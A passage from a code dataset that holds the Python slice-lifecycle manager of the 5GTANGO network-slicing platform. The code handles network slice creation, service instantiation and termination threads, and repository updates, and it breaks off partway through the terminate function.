","sub_path":"v3.5/Tabs/_05_Keithley_GateSweep.py","file_name":"_05_Keithley_GateSweep.py","file_ext":"py","file_size_in_byte":62024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"99372500","text":"#!/usr/local/bin/python3.4\n\"\"\"\n## Copyright (c) 2015 SONATA-NFV, 2017 5GTANGO [, ANY ADDITIONAL AFFILIATION]\n## ALL RIGHTS RESERVED.\n##\n## Licensed under the Apache License, Version 2.0 (the \"License\");\n## you may not use this file except in compliance with the License.\n## You may obtain a copy of the License at\n##\n## http://www.apache.org/licenses/LICENSE-2.0\n##\n## Unless required by applicable law or agreed to in writing, software\n## distributed under the License is distributed on an \"AS IS\" BASIS,\n## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n## See the License for the specific language governing permissions and\n## limitations under the License.\n##\n## Neither the name of the SONATA-NFV, 5GTANGO [, ANY ADDITIONAL AFFILIATION]\n## nor the names of its contributors may be used to endorse or promote\n## products derived from this software without specific prior written\n## permission.\n##\n## This work has been performed in the framework of the SONATA project,\n## funded by the European Commission under Grant number 671517 through\n## the Horizon 2020 and 5G-PPP programmes. The authors would like to\n## acknowledge the contributions of their colleagues of the SONATA\n## partner consortium (www.sonata-nfv.eu).\n##\n## This work has been performed in the framework of the 5GTANGO project,\n## funded by the European Commission under Grant number 761493 through\n## the Horizon 2020 and 5G-PPP programmes. The authors would like to\n## acknowledge the contributions of their colleagues of the 5GTANGO\n## partner consortium (www.5gtango.eu).\n\"\"\"\n\nimport os, sys, logging, datetime, uuid, time, json\nimport dateutil.parser\nfrom threading import Thread, Lock\n\nimport objects.nsi_content as nsi\nimport slice2ns_mapper.mapper as mapper # sends requests to the GTK-SP\n#import slice2ns_mapper.slicer_wrapper_ia as slicer2ia # sends requests to the IA\nimport slice_lifecycle_mgr.nsi_manager2repo as nsi_repo # sends requests to the repositories\nimport slice_lifecycle_mgr.nst_manager2catalogue as nst_catalogue # sends requests to the catalogues\n\n# INFORMATION\n# mutex used to ensure one single access to ddbb (repositories) for the nsi records creation/update/removal\nmutex_slice2db_access = Lock()\n\n# definition of LOG variable to make the slice logs idetified among the other possible 5GTango components.\nlogging.basicConfig(level=logging.INFO)\nLOG = logging.getLogger(\"slicemngr:repo\")\nLOG.setLevel(logging.INFO)\n\n\n################################## THREADs to manage services/slice requests #################################\n# SENDS NETWORK SERVICE (NS) INSTANTIATION REQUESTS\n## Objctive: reads subnets list in Network Slice Instance (NSI) and sends requests2GTK to instantiate them \n## Params: NSI - nsi created with the parameters given by the user and the NST saved in catalogues.\nclass thread_ns_instantiate(Thread):\n def __init__(self, NSI):\n Thread.__init__(self)\n self.NSI = NSI\n \n def send_networks_creation_request(self): #TODO: check the whole process to not create athe already existing shared vld\n LOG.info(\"NSI_MNGR: Requesting slice networks creation to the GTK.\")\n time.sleep(0.1)\n\n # creates the 1st json level structure {instance_id: ___, vim_list: []}\n network_data = {}\n network_data['instance_id'] = self.NSI['id']\n network_data['vim_list'] = []\n\n # creates the elements of the 2nd json level structure {uuid:__, virtual_links:[]} and ...\n # ...adds them into the 'vim_list'\n for vldr_item in self.NSI['vldr-list']:\n vim_item = {}\n vim_item['uuid'] = vldr_item['vimAccountId']\n vim_item['virtual_links'] = []\n if not network_data['vim_list']:\n network_data['vim_list'].append(vim_item)\n else:\n if vim_item not in network_data['vim_list']:\n network_data['vim_list'].append(vim_item)\n else:\n continue\n \n # creates the elements of the 3rd json level struture {id: ___, access: bool} and...\n # ... adds them into the 'virtual_links'\n for vldr_item in self.NSI['vldr-list']:\n for vim_item in network_data['vim_list']:\n if vldr_item['vimAccountId'] == vim_item['uuid']:\n virtual_link_item = {}\n virtual_link_item['id'] = vldr_item['vim-net-id']\n virtual_link_item['access'] = \"true\" #TODO: how do I decide wheater is Ture or False??\n if not vim_item['virtual_links']:\n vim_item['virtual_links'].append(virtual_link_item)\n else:\n if virtual_link_item not in vim_item['virtual_links']:\n vim_item['virtual_links'].append(virtual_link_item)\n else:\n continue\n\n LOG.info(\"NSI_MNGR_Instantiate: json to create networks: \" + str(network_data))\n time.sleep(0.1)\n # calls the mapper to sent the networks creation requests to the GTK (and this to the IA)\n nets_creation_response = mapper.create_vim_network(network_data)\n\n return nets_creation_response\n\n def send_instantiation_requests(self):\n LOG.info(\"NSI_MNGR_Instantiate: Instantiating Services\")\n time.sleep(0.1)\n \n for nsr_item in self.NSI['nsr-list']:\n # Preparing the dict to stitch the NS to the Networks (VLDs)\n mapping = {}\n network_functions_list = []\n virtual_links_list = []\n repo_item = mapper.get_nsd(nsr_item['subnet-nsdId-ref'])\n nsd_item = repo_item['nsd']\n\n ## Creates the 'network_functions' object\n for vnf_item in nsd_item['network_functions']:\n net_funct = {}\n net_funct['vnf_id'] = vnf_item['vnf_id']\n net_funct['vim_id'] = nsr_item['vimAccountId'] #TODO: FUTURE think about placement\n network_functions_list.append(net_funct)\n mapping['network_functions'] = network_functions_list\n \n ## Creates the 'virtual_links' object\n # for each nsr, checks its vlds and looks for its infortmation in vldr-list\n for vld_nsr_item in nsr_item['vld']:\n vld_ref = vld_nsr_item['vld-ref']\n for vldr_item in self.NSI['vldr-list']:\n # vld connected to the nsd found, keeps the external network\n if vldr_item['id'] == vld_ref:\n external_net = vldr_item['vim-net-id']\n # using the ns connection point references to fins the internal NS vld\n for ns_cp_item in vldr_item['ns-conn-point-ref']:\n subnet_key = nsr_item['subnet-ref']\n # if the subnet in the vld correspond to the current nsr keep going...\n if subnet_key in ns_cp_item.keys():\n ns_cp_ref = ns_cp_item[subnet_key]\n # gets the right nsd to find the internal NS vld to which the CP is connected\n nsd_catalogue_object = mapper.get_nsd(nsr_item['subnet-nsdId-ref'])\n nsd_virtual_links_list = nsd_catalogue_object['nsd']['virtual_links']\n for nsd_vl_item in nsd_virtual_links_list:\n for ns_cp_ref_item in nsd_vl_item['connection_points_reference']:\n if ns_cp_ref_item == ns_cp_ref:\n vl_id = nsd_vl_item['id']\n break \n break\n break \n virt_link = {}\n virt_link['vl_id'] = vl_id\n virt_link['external_net'] = external_net\n virt_link['vim_id'] = nsr_item['vimAccountId'] #TODO: FUTURE think about placement\n virtual_links_list.append(virt_link)\n mapping['virtual_links'] = virtual_links_list\n\n # TODO: SHARED FUNCT -> if the nsr_item is shared and already has a nsrId = DON'T SEND REQUEST\n # Sending Network Services Instantiation requests\n data = {}\n data['name'] = nsr_item['nsrName']\n data['service_uuid'] = nsr_item['subnet-nsdId-ref']\n data['callback'] = \"http://tng-slice-mngr:5998/api/nsilcm/v1/nsi/\"+str(self.NSI['id'])+\"/instantiation-change\"\n data['mapping'] = mapping\n if (nsr_item['sla-ref'] != \"None\"):\n data['sla_id'] = nsr_item['sla-ref']\n else:\n data['sla_id'] = \"\"\n #data['ingresses'] = []\n #data['egresses'] = []\n #data['blacklist'] = []\n\n LOG.info(\"NSI_MNGR_Instantiate: this is what GTK receives: \" +str(data))\n time.sleep(0.1)\n # requests to instantiate NSI services to the SP\n instantiation_response = mapper.net_serv_instantiate(data)\n LOG.info(\"NSI_MNGR_Instantiate: instantiation_response: \" +str(instantiation_response))\n time.sleep(0.1)\n\n def update_nsi_notify_instantiate(self):\n mutex_slice2db_access.acquire()\n try:\n LOG.info(\"NSI_MNGR_Notify: Slice instantitaion Notification to GTK.\")\n time.sleep(0.1)\n jsonNSI = nsi_repo.get_saved_nsi(self.NSI['id'])\n #TODO: improve the next 2 lines to not use this delete.\n jsonNSI[\"id\"] = jsonNSI[\"uuid\"]\n del jsonNSI[\"uuid\"]\n\n\n # updates the slice information before notifying the GTK\n if jsonNSI['nsi-status'] == \"INSTANTIATING\":\n jsonNSI['nsi-status'] = \"INSTANTIATED\"\n\n # validates if any service has error status to apply it to the slice status\n for service_item in jsonNSI['nsr-list']:\n if service_item['working-status'] in [\"ERROR\", \"INSTANTIATING\"]:\n service_item['working-status'] = 'ERROR'\n jsonNSI['nsi-status'] = \"ERROR\"\n\n # updates NetSlice template usageState\n if(jsonNSI['nsi-status'] == \"INSTANTIATED\"):\n nst_descriptor = nst_catalogue.get_saved_nst(jsonNSI['nst-ref'])\n if (nst_descriptor['nstd'].get('usageState') == \"NOT_IN_USE\"):\n nstParameter2update = \"usageState=IN_USE\"\n updatedNST_jsonresponse = nst_catalogue.update_nst(nstParameter2update, jsonNSI['nst-ref'])\n else:\n # this only happens if networks are not created, NS get \"NOT_INSTANTIATED\" status\n for service_item in jsonNSI['nsr-list']:\n service_item['working-status'] == \"NOT_INSTANTIATED\"\n \n # sends the updated NetSlice instance to the repositories\n jsonNSI['updateTime'] = str(datetime.datetime.now().isoformat())\n repo_responseStatus = nsi_repo.update_nsi(jsonNSI, self.NSI['id'])\n\n finally:\n # release the mutex for other threads\n mutex_slice2db_access.release()\n \n # creates a thread with the callback URL to advise the GK this slice is READY\n slice_callback = jsonNSI['sliceCallback']\n json_slice_info = {}\n json_slice_info['status'] = jsonNSI['nsi-status']\n json_slice_info['updateTime'] = jsonNSI['updateTime']\n\n thread_response = mapper.sliceUpdated(slice_callback, json_slice_info)\n LOG.info(\"NSI_MNGR_Notify: THREAD FINISHED, GKT notified with status: \" +str(thread_response[1]))\n\n def run(self):\n # used to not instantiate NSs if, in case there are in the NST, networks are not well created\n network_ready = True\n \n # enters only if there are vld/networks to create and deploy\n if self.NSI['vldr-list']:\n # sends all the requests to create all the VLDs (networks) within the slice\n networks_response = self.send_networks_creation_request()\n LOG.info(\"NSI_MNGR: network_response: \" +str(networks_response))\n time.sleep(0.1)\n \n # acquires mutex to have unique access to the nsi (rpositories)\n mutex_slice2db_access.acquire()\n temp_nsi = nsi_repo.get_saved_nsi(self.NSI['id'])\n #TODO: improve the next 2 lines to not use this delete.\n temp_nsi[\"id\"] = temp_nsi[\"uuid\"]\n del temp_nsi[\"uuid\"]\n\n # updates nsi information\n if networks_response['status'] in ['NEW', 'COMPLETED']:\n vld_status = \"ACTIVE\"\n else:\n vld_status = \"ERROR\"\n temp_nsi['nsi-status'] = \"ERROR\"\n temp_nsi['errorLog'] = networks_response['message']\n\n for nss_item in temp_nsi['nsr-list']:\n nss_item['working-status'] = \"NOT_INSTANTIATED\"\n \n for vld_item in temp_nsi['vldr-list']:\n vld_item['vld-status'] = vld_status\n\n # sends the updated NetSlice instance to the repositories\n repo_responseStatus = nsi_repo.update_nsi(temp_nsi, self.NSI['id'])\n \n # releases mutex for any other thread to acquire it\n mutex_slice2db_access.release()\n\n # if networks are not created, no need to request NS instantiations\n if networks_response['status'] not in ['NEW', 'COMPLETED']:\n network_ready = False\n\n if network_ready:\n # Sends all the requests to instantiate the NSs within the slice\n self.send_instantiation_requests()\n\n # Waits until all the NSs are instantiated/ready or error\n #deployment_timeout = 2 * 3600 # Two hours\n deployment_timeout = 900 # 15min #TODO: mmodify for the reviews\n while deployment_timeout > 0:\n LOG.info(\" Waiting all services to be ready/instantiated or error...\")\n # Check ns instantiation status\n nsi_instantiated = True\n jsonNSI = nsi_repo.get_saved_nsi(self.NSI['id'])\n for nsr_item in jsonNSI['nsr-list']: \n if nsr_item['working-status'] not in [\"INSTANTIATED\", \"ERROR\", \"READY\"]:\n nsi_instantiated = False\n \n # if all services are instantiated or error, break the while loop to notify the GTK\n if nsi_instantiated:\n LOG.info(\"All service instantiations are ready!\")\n break\n \n time.sleep(15)\n deployment_timeout -= 15\n \n LOG.info(\"NSI_MNGR_Notify: Updating and notifying GTK\") \n #TODO: if deployment_timeout expires, notify it with error as status\n # Notifies the GTK that the Network Slice instantiation process is done (either complete or error)\n self.update_nsi_notify_instantiate()\n\n# UPDATES THE SLICE INSTANTIATION INFORMATION\n## Objctive: updates a the specific NS information belonging to a NSI instantiation\n## Params: nsiId (uuid within the incoming request URL), request_json (incoming request payload)\nclass update_slice_instantiation(Thread):\n def __init__(self, nsiId, request_json):\n Thread.__init__(self)\n self.nsiId = nsiId\n self.request_json = request_json\n \n def run(self):\n mutex_slice2db_access.acquire()\n try:\n LOG.info(\"NSI_MNGR_Update: Updating NSI instantiation\")\n time.sleep(0.1)\n jsonNSI = nsi_repo.get_saved_nsi(self.nsiId)\n #TODO: improve the next 2 lines to not use this delete.\n jsonNSI[\"id\"] = jsonNSI[\"uuid\"]\n del jsonNSI[\"uuid\"]\n\n LOG.info(\"NSI_MNGR_Update: Checking information to update...\")\n time.sleep(0.1)\n serviceInstance = {}\n # looks all the already added services and updates the right\n for service_item in jsonNSI['nsr-list']:\n # if the current request already exists, update it.\n if (service_item['nsrName'] == self.request_json['name']):\n LOG.info(\"NSI_MNGR_Update: Service found, let's update it\")\n time.sleep(0.1)\n service_item['requestId'] = self.request_json['id']\n \n if (self.request_json['status'] == \"READY\"):\n service_item['working-status'] = \"INSTANTIATED\"\n service_item['isinstantiated'] = True\n else:\n service_item['working-status'] = self.request_json['status']\n \n LOG.info(\"NSI_MNGR_Update: Service updated\")\n time.sleep(0.1)\n \n if (self.request_json['instance_uuid'] != None):\n service_item['nsrId'] = self.request_json['instance_uuid'] # used to avoid a for-else loop with the next if\n \n break;\n \n LOG.info(\"NSI_MNGR_Update: Sending NSIr updated to repositories\")\n time.sleep(0.1)\n # sends updated nsi to the DDBB (tng-repositories)\n jsonNSI['updateTime'] = str(datetime.datetime.now().isoformat())\n repo_responseStatus = nsi_repo.update_nsi(jsonNSI, self.nsiId)\n LOG.info(\"NSI_MNGR_Update_NSI_done: \" +str(jsonNSI))\n time.sleep(0.1)\n finally:\n mutex_slice2db_access.release()\n\n# SENDS NETWORK SERVICE (NS) TERMINATION REQUESTS\n## Objctive: gets the specific nsi record from db and sends the ns termination requests 2 GTK\n## Params: nsiId (uuid within the incoming request URL)\nclass thread_ns_terminate(Thread):\n def __init__(self,NSI):\n Thread.__init__(self)\n self.NSI = NSI\n \n def send_termination_requests(self):\n LOG.info(\"NSI_MNGR_Terminate: Terminating Services\")\n time.sleep(0.1)\n for nsr_item in self.NSI['nsr-list']:\n if (nsr_item['working-status'] != \"ERROR\"):\n data = {}\n data[\"instance_uuid\"] = str(nsr_item[\"nsrId\"])\n data[\"request_type\"] = \"TERMINATE_SERVICE\"\n data['callback'] = \"http://tng-slice-mngr:5998/api/nsilcm/v1/nsi/\"+str(self.NSI['id'])+\"/terminate-change\"\n\n termination_response = mapper.net_serv_terminate(data)\n\n def send_networks_removal_request(self):\n LOG.info(\"NSI_MNGR: Requesting slice networks removal to the GTK.\")\n\n # creates the 1st json level structure {instance_id: ___, vim_list: []}\n network_data = {}\n network_data['instance_id'] = self.NSI['id'] # uses the slice id for its networks\n network_data['vim_list'] = []\n\n # creates the elements of the 2nd json level structure {uuid:__, virtual_links:[]} and adds them into the 'vim_list'\n for vldr_item in self.NSI['vldr-list']:\n vim_item = {}\n vim_item['uuid'] = vldr_item['vimAccountId']\n vim_item['virtual_links'] = []\n if not network_data['vim_list']:\n network_data['vim_list'].append(vim_item)\n else:\n if vim_item not in network_data['vim_list']:\n network_data['vim_list'].append(vim_item)\n else:\n continue\n \n # creates the elements of the 3rd json level struture {id: ___, access: bool} and adds them into the 'virtual_links'\n for vldr_item in self.NSI['vldr-list']:\n for vim_item in network_data['vim_list']:\n if vldr_item['vimAccountId'] == vim_item['uuid']:\n virtual_link_item = {}\n virtual_link_item['id'] = vldr_item['vim-net-id']\n if not vim_item['virtual_links']:\n vim_item['virtual_links'].append(virtual_link_item)\n else:\n if virtual_link_item not in vim_item['virtual_links']:\n vim_item['virtual_links'].append(virtual_link_item)\n else:\n continue\n\n LOG.info(\"NSI_MNGR_Instantiate: json to remove networks: \" + str(network_data))\n\n # calls the mapper to sent the networks creation requests to the GTK (and this to the IA)\n #nets_creation_response = mapper.delete_vim_network(network_data)\n\n def update_nsi_notify_terminate(self):\n mutex_slice2db_access.acquire()\n try:\n LOG.info(\"NSI_MNGR_Notify: Slice termination Notification to GTK.\")\n time.sleep(0.1)\n jsonNSI = nsi_repo.get_saved_nsi(self.NSI['id'])\n #TODO: improve the next 2 lines to not use this delete.\n jsonNSI[\"id\"] = jsonNSI[\"uuid\"]\n del jsonNSI[\"uuid\"]\n\n # updateds nsir fields\n jsonNSI['nsi-status'] = \"TERMINATED\"\n\n jsonNSI['terminateTime'] = str(datetime.datetime.now().isoformat())\n jsonNSI['updateTime'] = jsonNSI['terminateTime']\n \n # validates if any service has error status to apply it to the slice status\n for service_item in jsonNSI['nsr-list']:\n if (service_item['working-status'] == \"ERROR\"):\n jsonNSI['nsi-status'] = \"ERROR\"\n break;\n\n # sends the updated nsi to the repositories\n repo_responseStatus = nsi_repo.update_nsi(jsonNSI, self.NSI['id'])\n\n # updates NetSlice template usageState if no other nsi is instantiated/ready\n nsis_list = nsi_repo.get_all_saved_nsi()\n all_nsis_terminated = True\n for nsis_item in nsis_list:\n if (nsis_item['nst-ref'] == nstd_id and nsis_item['nsi-status'] in [\"INSTANTIATED\", \"INSTANTIATING\", \"READY\"]):\n all_nsis_terminated = False\n break;\n else:\n pass\n if (all_nsis_terminated):\n nst_descriptor = nst_catalogue.get_saved_nst(nstId)\n nst_json = nst_descriptor['nstd']\n if (nst_json['usageState'] == \"IN_USE\"):\n nstParameter2update = \"usageState=NOT_IN_USE\"\n updatedNST_jsonresponse = nst_catalogue.update_nst(nstParameter2update, nstId)\n\n finally:\n # release the mutex for other threads\n mutex_slice2db_access.release()\n\n # sends the request to notify the GTK the slice is READY\n slice_callback = jsonNSI['sliceCallback']\n json_slice_info = {}\n json_slice_info['status'] = jsonNSI['nsi-status']\n json_slice_info['updateTime'] = jsonNSI['updateTime']\n\n thread_response = mapper.sliceUpdated(slice_callback, json_slice_info)\n\n def run(self):\n # Sends all the requests to instantiate the NSs within the slice\n self.send_termination_requests()\n\n # Waits until all the NSs are terminated/ready or error\n # deployment_timeout = 2 * 3600 # Two hours\n deployment_timeout = 1800 # 30 minutes # TODO: remove once it works without errors\n while deployment_timeout > 0:\n LOG.info(\"Waiting all services are terminated or error...\")\n # Check ns instantiation status\n nsi_terminated = True\n jsonNSI = nsi_repo.get_saved_nsi(self.NSI['id'])\n for nsr_item in jsonNSI['nsr-list']: \n if nsr_item['working-status'] not in [\"TERMINATED\", \"ERROR\", \"READY\"]:\n nsi_terminated = False\n \n # if all services are instantiated or error, break the while loop to notify the GTK\n if nsi_terminated:\n LOG.info(\"All service termination are ready!\")\n break\n \n time.sleep(10)\n deployment_timeout -= 10\n \n if deployment_timeout <= 0:\n raise LCMException(\"Timeout waiting nsi to be terminated. nsi_id={}\".format(self.NSI['id']))\n \n # TODO:Sends all the requests to create all the VLDs within the slice\n self.send_networks_removal_request()\n\n # TODO:Waits until all the VLDs are created/ready or error\n\n # Notifies the GTK that the Network Slice termination process is done (either complete or error)\n self.update_nsi_notify_terminate()\n\n# UPDATES THE SLICE TERMINATION INFORMATION\n## Objctive: updates a the specific NS information belonging to a NSI termination\n## Params: nsiId (uuid within the incoming request URL), request_json (incoming request payload)\nclass update_slice_termination(Thread):\n def __init__(self, nsiId, request_json):\n Thread.__init__(self)\n self.nsiId = nsiId\n self.request_json = request_json\n \n def run(self):\n mutex_slice2db_access.acquire()\n try:\n LOG.info(\"NSI_MNGR_Update: Updating NSI Termination\")\n time.sleep(0.1)\n jsonNSI = nsi_repo.get_saved_nsi(self.nsiId)\n #TODO: improve the next 2 lines to not use this delete.\n jsonNSI[\"id\"] = jsonNSI[\"uuid\"]\n del jsonNSI[\"uuid\"]\n\n # looks for the right service within the slice and updates it with the new data\n for service_item in jsonNSI['nsr-list']:\n if (service_item['nsrId'] == self.request_json['instance_uuid']):\n service_item['requestId'] = self.request_json['id']\n if (self.request_json['status'] == \"READY\"):\n service_item['working-status'] = \"TERMINATED\"\n service_item['isinstantiated'] = False\n else:\n service_item['working-status'] = self.request_json['status']\n break;\n\n jsonNSI['updateTime'] = str(datetime.datetime.now().isoformat())\n repo_responseStatus = nsi_repo.update_nsi(jsonNSI, self.nsiId)\n \n finally:\n mutex_slice2db_access.release()\n\n\n################################ NSI CREATION & INSTANTIATION SECTION ##################################\n# 2 steps: create_nsi (with its internal functions) and update_instantiating_nsi\n# Network Slice Instance Object Creation\ndef create_nsi(nsi_json):\n LOG.info(\"NSI_MNGR: Creates and Instantiates a new NSI.\")\n time.sleep(0.1)\n nstId = nsi_json['nstId']\n catalogue_response = nst_catalogue.get_saved_nst(nstId)\n nst_json = catalogue_response['nstd']\n\n # validate if there is any NSTD\n if not catalogue_response:\n return_msg = {}\n return_msg['error'] = \"There is NO NSTd with this uuid in the DDBB.\"\n return return_msg, 400\n\n # check if there is any other nsir with the same name, vendor, nstd_version\n nsirepo_jsonresponse = nsi_repo.get_all_saved_nsi()\n if nsirepo_jsonresponse:\n for nsir_item in nsirepo_jsonresponse:\n if (nsir_item[\"name\"] == nsi_json['name'] and nsir_item[\"nst-version\"] == nst_json['version'] and \\\n nsir_item[\"vendor\"] == nst_json['vendor']):\n return_msg = {}\n return_msg['error'] = \"There is already a slice with thie name/version/vendor. Change one of the values.\"\n return (return_msg, 400)\n\n # Network Slice Placement \n vim_nsi = nsi_placement() #TODO: improve internal logic (resources?)\n if vim_nsi[1] == 500:\n return vim_nsi\n LOG.info(\"NSI_MNGR: vim_nsi:. \" +str(vim_nsi))\n time.sleep(0.1)\n \n # creates NSI with the received information\n LOG.info(\"NSI_MNGR: Creating NSI basic structure.\")\n time.sleep(0.1)\n new_nsir = add_basic_nsi_info(nst_json, nsi_json, vim_nsi[0])\n \n # adds the VLD information within the NSI record\n LOG.info(\"NSI_MNGR: Adding vlds into the NSI structure.\")\n time.sleep(0.1)\n if (nst_json[\"slice_vld\"]):\n new_nsir = add_vlds(new_nsir, nst_json)\n \n # adds the NetServices (subnets) information within the NSI record\n LOG.info(\"NSI_MNGR: Adding subnets into the NSI structure.\")\n time.sleep(0.1)\n new_nsir = add_subnets(new_nsir, nst_json, nsi_json)\n\n # saving the NSI into the repositories\n LOG.info(\"NSI_MNGR: Saving the NSIr into repositories.\")\n time.sleep(0.1)\n nsirepo_jsonresponse = nsi_repo.safe_nsi(new_nsir)\n\n #TODO: should there be a condition that starts only if the object is saved?\n # starts the thread to instantiate while sending back the response\n thread_ns_instantiation = thread_ns_instantiate(new_nsir)\n thread_ns_instantiation.start()\n\n return nsirepo_jsonresponse, 201\n\n# TODO: improve placement logic\n# does the placement of all the subnets within the NSI\ndef nsi_placement():\n # get the VIMs information registered to the SP\n vims_list = mapper.get_vims_info() #TODO: configure it to wait for 1min\n LOG.info(\"NSI_MNGR: VIMs list information: \" +str(vims_list))\n time.sleep(0.1)\n\n # validates if the incoming vim_list is empty (return 500) or not (follow)\n if not vims_list['vim_list']:\n return_msg = {}\n return_msg['error'] = \"Not found any VIM information, register one to the SP.\"\n return return_msg, 500\n \n #TODO: improve placement\n nsi_placed = vims_list['vim_list'][0]['vim_uuid']\n #nsi_placed = str(uuid.uuid4())\n LOG.info(\"NSI_MNGR: SELECTED VIM UUID: \" +str(nsi_placed))\n time.sleep(0.1)\n \n return nsi_placed, 200\n\n# Basic NSI structure\ndef add_basic_nsi_info(nst_json, nsi_json, main_datacenter):\n nsir_dict = {}\n nsir_dict['id'] = str(uuid.uuid4())\n nsir_dict['name'] = nsi_json['name']\n if (nsi_json['description']):\n nsir_dict['description'] = nsi_json['description']\n else:\n nsir_dict['description'] = 'This NSr is based on ' + str(nsi_json['name'])\n nsir_dict['vendor'] = nst_json['vendor']\n nsir_dict['nst-ref'] = nsi_json['nstId']\n nsir_dict['nst-name'] = nst_json['name']\n nsir_dict['nst-version'] = nst_json['version']\n nsir_dict['nsi-status'] = 'INSTANTIATING'\n nsir_dict['errorLog'] = ''\n nsir_dict['datacenter'] = main_datacenter\n nsir_dict['instantiateTime'] = str(datetime.datetime.now().isoformat())\n nsir_dict['terminateTime'] = ''\n nsir_dict['scaleTime'] = ''\n nsir_dict['updateTime'] = ''\n nsir_dict['sliceCallback'] = nsi_json['callback'] #URL used to call back the GK when the slice instance is READY/ERROR\n nsir_dict['5qiValue'] = nst_json['5qi_value']\n nsir_dict['nsr-list'] = []\n nsir_dict['vldr-list'] = []\n\n return nsir_dict\n\n# Sends requests to create vim networks and adds their information into the NSIr\ndef add_vlds(new_nsir, nst_json):\n vldr_list = []\n \n '''\n #SHARED LOGIC for VLDs\n # Check if there is any instantiated shared NS equal to any of the NST and gets the networks IDs related\n nsirs_ref_list = nsi_repo.get_all_saved_nsi()\n shared_vld_ref_list = []\n for subnet_item in nst_json[\"slice_ns_subnets\"]:\n found_shared_nsr = False\n if subnet_item['is-shared']:\n for nsir_ref_item in nsirs_ref_list:\n for nsir_subnet_ref_item in nsir_ref_item['nsr-list']:\n if nsir_subnet_ref_item['subnet-nsdId-ref'] = subnet_item['nsd-ref'] and nsir_subnet_ref_item['is-shared']:\n for nsir_subnet_vld_ref_item in nsir_subnet_ref_item['vld']:\n if nsir_subnet_vld_ref_item['vld-ref'] not in shared_vld_ref_list:\n # Gets all the VLD associated to any instantiated shared NS of the NST\n shared_vld_ref_list.append(nsir_subnet_vld_ref_item['vld-ref'])\n \n\n '''\n\n for vld_item in nst_json[\"slice_vld\"]:\n vld_record = {}\n vld_record['id'] = vld_item['id']\n vld_record['name'] = vld_item['name']\n vld_record['vimAccountId'] = new_nsir['datacenter'] #TODO: improve with placement\n vld_record['vim-net-id'] = new_nsir['name'] + \".\" + vld_item['name'] + \".net.\" + str(uuid.uuid4()) #TODO: should it be: net.uuid ??\n if 'mgmt-network' in vld_item.keys():\n vld_record['mgmt-network'] = True\n vld_record['type'] = vld_item['type']\n #vld_record['root-bandwidth']\n #vld_record['leaf-bandwidth'] #TODO: check how to use this 4 parameters\n #vld_record['physical-network']\n #vld_record['segmentation_id']\n vld_record['vld-status'] = 'INACTIVE'\n \n cp_refs_list = []\n for cp_ref_item in vld_item['nsd-connection-point-ref']:\n cp_dict = {}\n cp_dict[cp_ref_item['subnet-ref']] = cp_ref_item['nsd-cp-ref']\n cp_refs_list.append(cp_dict)\n vld_record['ns-conn-point-ref'] = cp_refs_list\n \n vld_record['shared-nsrs-list'] = [] # this is filled when a shared service is instantiated on this VLD\n\n vldr_list.append(vld_record)\n \n new_nsir['vldr-list'] = vldr_list\n return new_nsir\n\n# Adds the basic subnets information to the NSI record\ndef add_subnets(new_nsir, nst_json, request_nsi_json):\n nsr_list = [] # empty list to add all the created slice-subnets\n serv_seq = 1 # to put in order the services within a slice in the portal\n \n for subnet_item in nst_json[\"slice_ns_subnets\"]:\n ''' #SHARED FEATURE: copy existing NSR into slice\n found_shared_nsr = False\n if subnet_item['is-shared']:\n nsirs_ref_list = nsi_repo.get_all_saved_nsi()\n for nsir_ref_item in nsirs_ref_list:\n for nsir_subnet_ref_item in nsir_ref_item['nsr-list']:\n if nsir_subnet_ref_item['subnet-nsdId-ref'] = subnet_item['nsd-ref']:\n subnet_record = nsir_subnet_ref_item\n found_shared_nsr = True\n break\n if found_shared_nsr:\n break\n else:\n #TODO: add all the code under until \"subnet_record['isinstantiated'] = False\"\n '''\n subnet_record = {}\n subnet_record['nsrName'] = new_nsir['name'] + \"-\" + subnet_item['id'] + \"-\" + str(serv_seq)\n subnet_record['nsrId'] = '00000000-0000-0000-0000-000000000000'\n subnet_record['vimAccountId'] = new_nsir['datacenter']\n subnet_record['working-status'] = 'INSTANTIATING' \n subnet_record['subnet-ref'] = subnet_item['id']\n subnet_record['subnet-nsdId-ref'] = subnet_item['nsd-ref']\n \n if 'services_sla' in request_nsi_json:\n for serv_sla_item in request_nsi_json['services_sla']:\n if serv_sla_item['service_uuid'] == subnet_item['nsd-ref']:\n subnet_record['sla-name'] = serv_sla_item['sla_name'] #TODO: add instantiation parameters\n subnet_record['sla-ref'] = serv_sla_item['sla_uuid'] #TODO: add instantiation parameters\n else:\n subnet_record['sla-name'] = \"None\"\n subnet_record['sla-ref'] = \"None\"\n \n subnet_record['requestId'] = ''\n subnet_record['isshared'] = subnet_item['is-shared']\n subnet_record['isinstantiated'] = False\n \n # adding the vld id where each subnet is connected to\n subnet_vld_list = []\n if (nst_json[\"slice_vld\"]):\n for vld_item in nst_json[\"slice_vld\"]:\n for nsd_cp_item in vld_item['nsd-connection-point-ref']:\n if subnet_item['id'] == nsd_cp_item['subnet-ref']:\n subnet_vld_item = {}\n subnet_vld_item['vld-ref'] = vld_item['id']\n subnet_vld_list.append(subnet_vld_item)\n break #TODO: is it be possible that a subnet has 2 connection points to the same VLD??\n\n subnet_record['vld'] = subnet_vld_list\n\n nsr_list.append(subnet_record)\n serv_seq = serv_seq + 1\n \n new_nsir['nsr-list'] = nsr_list\n return new_nsir\n\n# Updates a NSI with the latest information coming from the MANO/GK\ndef update_instantiating_nsi(nsiId, request_json):\n LOG.info(\"NSI_MNGR: Updates the NSI with the latest incoming information.\")\n time.sleep(0.1)\n jsonNSI = nsi_repo.get_saved_nsi(nsiId)\n if (jsonNSI):\n # starts the thread to update instantiation info within the services\n thread_update_slice_instantiation = update_slice_instantiation(nsiId, request_json)\n time.sleep(0.1)\n thread_update_slice_instantiation.start()\n\n # starts the thread to notify the GTK if the slice is ready\n #thread_notify_slice_instantiatied = notify_slice_instantiated(nsiId)\n #time.sleep(0.1)\n #thread_notify_slice_instantiatied.start()\n\n return (jsonNSI, 200)\n else:\n return ('{\"error\":\"There is no NSIR in the db.\"}', 500)\n\n \n########################################## NSI TERMINATE SECTION #######################################\n# 2 steps: terminate_nsi and update_terminating_nsi (with its internal functions)\n# Does all the process to terminate the NSI\ndef terminate_nsi(nsiId, TerminOrder):\n LOG.info(\"NSI_MNGR: Terminates a NSI.\")\n time.sleep(0.1)\n\n jsonNSI = nsi_repo.get_saved_nsi(nsiId)\n if (jsonNSI):\n #TODO: improve the next 2 lines to not use 